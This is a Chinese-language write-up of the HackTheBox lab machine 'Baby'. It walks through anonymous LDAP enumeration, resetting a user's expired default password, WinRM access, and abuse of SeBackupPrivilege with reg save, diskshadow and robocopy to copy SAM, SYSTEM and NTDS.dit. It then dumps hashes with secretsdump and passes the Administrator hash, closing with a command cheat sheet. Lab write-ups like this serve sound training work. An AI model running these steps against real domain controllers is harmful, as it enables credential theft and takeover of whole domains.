【渗透测试】HTB靶场之Baby 全过程wp

HTB Baby

靶机IP 10.129.234.71

先扫描一下端口

image-20260123154626334

image-20260123154632081

发现开了445端口(SMB协议)

SMB-TCP 445

┌──(root㉿kali)-[~/桌面/HTB/baby]
└─# netexec smb 10.129.234.71 --generate-hosts-file hosts
SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)

┌──(root㉿kali)-[~/桌面/HTB/baby]
└─# cat hosts
10.129.234.71     BABYDC.baby.vl baby.vl BABYDC

┌──(root㉿kali)-[~/桌面/HTB/baby]
└─# cat hosts /etc/hosts | sudo sponge /etc/hosts

image-20260123160402706

尝试对目标smb服务进行guest身份的共享枚举

┌──(root㉿kali)-[~/桌面/HTB/baby]
└─# netexec smb 10.129.234.71 -u guest -p '' --shares           
SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\guest: STATUS_ACCOUNT_DISABLED

发现账号被禁用

image-20260123165858680

该方法不行

LDAP-TCP 389

使用netexec工具从目标机器上提取(dump)LDAP中的用户数据(比如域用户名、组、权限等)

netexec ldap BABYDC.baby.vl -u '' -p '' --query "(objectClass=*)" ""

image-20260123172431090

sAMAccountName查询可用于登录的账户名

netexec ldap BABYDC.baby.vl -u '' -p '' --query "(sAMAccountName=*)" ""

image-20260123174514007

可以看到这里有一个初始密码BabyStart123!

但依旧匹配不了

image-20260123175345605

经过发现在上一个的objectClass=*中最后有一个Caroline Robinson,没有关联的数据

image-20260123180128913

┌──(root㉿kali)-[~/桌面/HTB/baby]
└─# netexec smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!'
SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE

虽然失败了,但是说的是STATUS_PASSWORD_MUST_CHANGE

password change

可以使用netexec change-password模块

这里建议去github下载最新版本的nxc

https://github.com/Pennyw0rth/NetExec

┌──(root㉿kali)-[~/桌面/shentougongju]
└─# ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=chenzi
[*] Initializing SMB protocol database
SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
CHANGE-P... 10.129.234.71   445    BABYDC           [-] SMB-SAMR password change failed: SAMR SessionError: code: 0xc000006c - STATUS_PASSWORD_RESTRICTION - When trying to update a password, this status indicates that some password update rule has been violated. For example, the password may not meet length criteria.

需要一个更复杂的密码

┌──(root㉿kali)-[~/桌面/shentougongju]
└─# ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=chenzi123!
SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
CHANGE-P... 10.129.234.71   445    BABYDC           [+] Successfully changed password for Caroline.Robinson

修改成功,我们看看密码策略

./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --pass-pol

image-20260123214423536

Get Shell

枚举一下SMB共享资源

./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --shares
┌──(root㉿kali)-[~/桌面/shentougongju]
└─# ./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --shares
SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.71   445    BABYDC           [+] baby.vl\Caroline.Robinson:chenzi123! 
SMB         10.129.234.71   445    BABYDC           [*] Enumerated shares
SMB         10.129.234.71   445    BABYDC           Share           Permissions     Remark
SMB         10.129.234.71   445    BABYDC           -----           -----------     ------
SMB         10.129.234.71   445    BABYDC           ADMIN$          READ            Remote Admin
SMB         10.129.234.71   445    BABYDC           C$              READ,WRITE      Default share
SMB         10.129.234.71   445    BABYDC           IPC$            READ            Remote IPC
SMB         10.129.234.71   445    BABYDC           NETLOGON        READ            Logon server share 
SMB         10.129.234.71   445    BABYDC           SYSVOL          READ            Logon server share 

确认 了Caroline.Robinson 是有实际权限的域账户,不是空壳

既然获得了账户凭证,我们可以通过WinRM协议远程登录目标机器

evil-winrm -i baby.vl -u caroline.robinson -p chenzi123!

image-20260123215834962

得到了shell,user.txt在destop下

Privilege Escalation

whoami /priv 查看当前用户的权限

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

获取SAM和system(渗透黄金特权)

我们看到他拥有SeBackupPrivilege和SeRestorePrivilege权限,这些权限通常授予Backup Operators组中的用户。如果我们使用 whoami /groups进行检查,会发现该用户确实属于这个组

image-20260123221656949

SeBackupPrivilege权限将允许我们创建注册表节文件备份,一旦破解这些文件,将能得到重要信息,如用户的NTLM哈希

更具体地说,我们需要SAM和SYSTEM组件,SAM存储了本地账户地元数据以及机器上本地用户经过哈希处理后的凭据(NTLM哈希)。而SYSTEM则包含用于推导出启动密钥所需地信息,该密钥用于解密SAM组件。

补充:
这里也就是渗透黄金特权的一种

1. SeDebugPrivilege(调试特权)
作用:允许调试任意进程(包括系统进程 lsass.exe)
渗透价值:
直接用 mimikatz 抓取 lsass 内存中的明文密码 / NTLM 哈希
拿到本地管理员、域管理员密码
一句话:有它 = 基本能直接拿密码

2. SeBackupPrivilege + SeRestorePrivilege(备份 / 还原特权)
作用:
SeBackupPrivilege:绕过文件权限,备份任何文件(包括 SAM、NTDS.dit)
SeRestorePrivilege:绕过文件权限,还原 / 覆盖任何文件(替换系统服务、写注册表)
渗透价值:
直接备份 SAM + SYSTEM → 拿本地管理员哈希
直接备份 NTDS.dit + SYSTEM → 拿整个域的所有用户哈希
替换系统服务 → 提权到 SYSTEM
一句话:有它 = 能拿系统 / 域的 “密码总库”

3. SeImpersonatePrivilege(模拟特权)
作用:允许模拟其他用户身份执行操作
渗透价值:
配合 JuicyPotato / PrintSpoofer 等工具 → 直接提权到 SYSTEM
模拟高权限用户执行命令、访问资源
一句话:有它 = 土豆 / 南瓜提权套餐直接上

4. SeTakeOwnershipPrivilege(获取所有权特权)
作用:夺取任意文件 / 注册表项的所有权
渗透价值:
夺取 C:\Windows\System32\config 等关键目录所有权 → 读写 SAM、SYSTEM
夺取注册表项 → 修改系统配置、后门
一句话:有它 = 能 “抢” 系统核心资源的控制权
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save hklm\sam .\sam
The operation completed successfully.

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> reg save hklm\system .\system
The operation completed successfully.

得到两个文件后,使用download进行下载

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> download sam
                                        
Info: Downloading C:\Users\Caroline.Robinson\Desktop\sam to sam 
                                                 
Info: Download successful! 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> download system
                                        
Info: Downloading C:\Users\Caroline.Robinson\Desktop\system to system 
                                                 
Info: Download successful!

把你下载到 Kali 的 samsystem 文件,用 impacket-secretsdump

impacket-secretsdump -sam sam -system system LOCAL

image-20260123224046407

格式:用户名:RID:LM哈希:NTLM哈希:::

管理员的NTLM哈希:8d992faed38128ae85e95fa35868bb43

将得到的哈希进行传递

image-20260123224406565

image-20260123225139745

但登录不了

获取NTDS.dit(diskshadow创建C盘卷影副本)

我们下一步将尝试得到域控哈希值。为此,我们需要NTDS.dit(域控制器存储所有域用户密码哈希的核心数据库)。然而,该文件被锁定,我们无法直接复制。因此,我们使用diskshadow工具创建当前硬盘的卷影副本。这样我们就可以导出,并访问该文件。

set verbose on
set context persistent nowriters
set metadata C:\Windows\Temp\chenzi.cab
add volume c: alias chenzi
create
expose %chenzi% e:

创建 C 盘的卷影副本,并将其映射为 E 盘,方便访问快照里的核心文件。

并转换为windows格式

image-20260123230058735

上传文件

upload backup backup

image-20260123230325647

diskshadow /s backup

image-20260123230553944

可以看到放到了E盘

image-20260123230644618

由于该驱动器目前未被使用,我们可以使用robocopy将NTDS.dit文件复制到当前目录中

robocopy /b E:\Windows\ntds . ntds.dit

解释一下这个
/b 备份模式
E:\Windows\ntds 目录,包含了 C 盘的快照,能访问到被锁定的文件。
. 表示目标目录即当前目录
ntds.dit即要复制的文件

image-20260123231154046

这样我们就得到了ntds.dit

image-20260123231215403

依旧也是下载下来

image-20260123232059290

然后回到kali

impacket-secretsdump -ntds ntds.dit -system system LOCAL

image-20260123232123965

得到Administrator的哈希值:ee4457ae59f1e3fbd764e33d9cef123d

然后再使用evil-winrm获得shell

evil-winrm -i baby.vl -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d

image-20260123232201274

得到Administrator的shell

渗透总结

本靶机核心是通过域用户凭证获取与黄金特权利用,实现从普通域用户到域管理员的权限提升。首先通过端口扫描与 LDAP 信息搜集,获取域用户Caroline.Robinson及初始密码,解决密码必须修改的限制后,利用该账户的SeBackupPrivilegeSeRestorePrivilege黄金特权,备份系统核心文件(SAM、SYSTEM、NTDS.dit),解析出域管理员哈希,最终通过哈希传递登录域控制器,完成渗透。

核心知识点

信息搜集核心

  • 端口扫描重点:SMB(445)、LDAP(389/3268)、WinRM(5985)是域环境渗透关键端口,分别对应文件共享、用户信息查询、远程命令执行功能。
  • LDAP 枚举价值:可匿名查询域内用户、组信息,获取可登录账户名及潜在初始密码,为后续认证提供基础。

账户凭证与密码策略

  • STATUS_PASSWORD_MUST_CHANGE:账户初始密码需修改,且新密码需符合域密码策略(如长度≥7 位、包含大小写 / 数字 / 特殊符号)。
  • 密码策略查询:通过--pass-pol参数可获取域密码规则,指导新密码设置与后续爆破策略制定。

渗透黄金特权应用

  • SeBackupPrivilege + SeRestorePrivilege:允许绕过文件权限,备份 / 还原系统核心文件(SAM、NTDS.dit),是域环境中获取所有用户哈希的关键特权。
  • 卷影副本(VSS):用于绕过 NTDS.dit 等被系统锁定的文件,通过diskshadow创建快照后可自由复制。

哈希传递攻击(Pass-the-Hash)

  • 无需破解明文密码,直接使用解析出的 NTLM 哈希登录目标机器,适用于 WinRM、SMB 等协议。
  • 域管理员哈希需从 NTDS.dit(域密码总库)中解析,而非本地 SAM 文件(仅存储本地账户哈希)。

重要命令汇总

信息搜集与环境配置

# 全端口扫描(获取关键端口)
无影扫描工具 10.129.234.71 -p 1-65535
# 添加主机映射(方便域环境访问)
echo "10.129.234.71 BABYDC.baby.vl baby.vl BABYDC" | sudo tee -a /etc/hosts
# LDAP匿名枚举域用户
netexec ldap BABYDC.baby.vl -u '' -p '' --query "(sAMAccountName=*)" ""

账号密码操作

# 修改域用户密码(解决STATUS_PASSWORD_MUST_CHANGE)
./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=chenzi123!
# 查询域密码策略
./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --pass-pol
# 枚举SMB共享资源(验证账户权限)
./nxc smb BABYDC.baby.vl -u Caroline.Robinson -p 'chenzi123!' --shares

远程登陆与权限查询

# WinRM远程登录(获取普通用户shell)
evil-winrm -i baby.vl -u Caroline.Robinson -p 'chenzi123!'
# 查询当前用户特权(确认黄金特权)
whoami /priv
# 查询用户所属组(验证Backup Operators组身份)
whoami /groups

核心文件备份与下载

# 备份SAM和SYSTEM注册表文件(本地账户哈希)
reg save hklm\sam .\sam
reg save hklm\system .\system
# 下载文件到Kali
download sam
download system
# diskshadow批量创建卷影副本(备份NTDS.dit)
# 先在Kali创建backup脚本并转换格式
unix2dos backup
# 上传脚本到目标机器
upload backup backup
# 执行脚本创建卷影副本并映射为E盘
diskshadow /s backup
# 备份NTDS.dit(备份模式绕过锁定)
robocopy /b E:\Windows\ntds . ntds.dit
# 下载NTDS.dit到Kali
download ntds.dit

哈希解析与域管理员登录

# 解析本地账户哈希(SAM+SYSTEM)
impacket-secretsdump -sam sam -system system LOCAL
# 解析域用户哈希(NTDS.dit+SYSTEM)
impacket-secretsdump -ntds ntds.dit -system system LOCAL
# 哈希传递登录域管理员(WinRM)
evil-winrm -i baby.vl -u Administrator -H [域管理员NTLM哈希]
posted @ 2026-01-23 23:36  dynasty_chenzi  阅读(0)  评论(0)    收藏  举报
返回顶端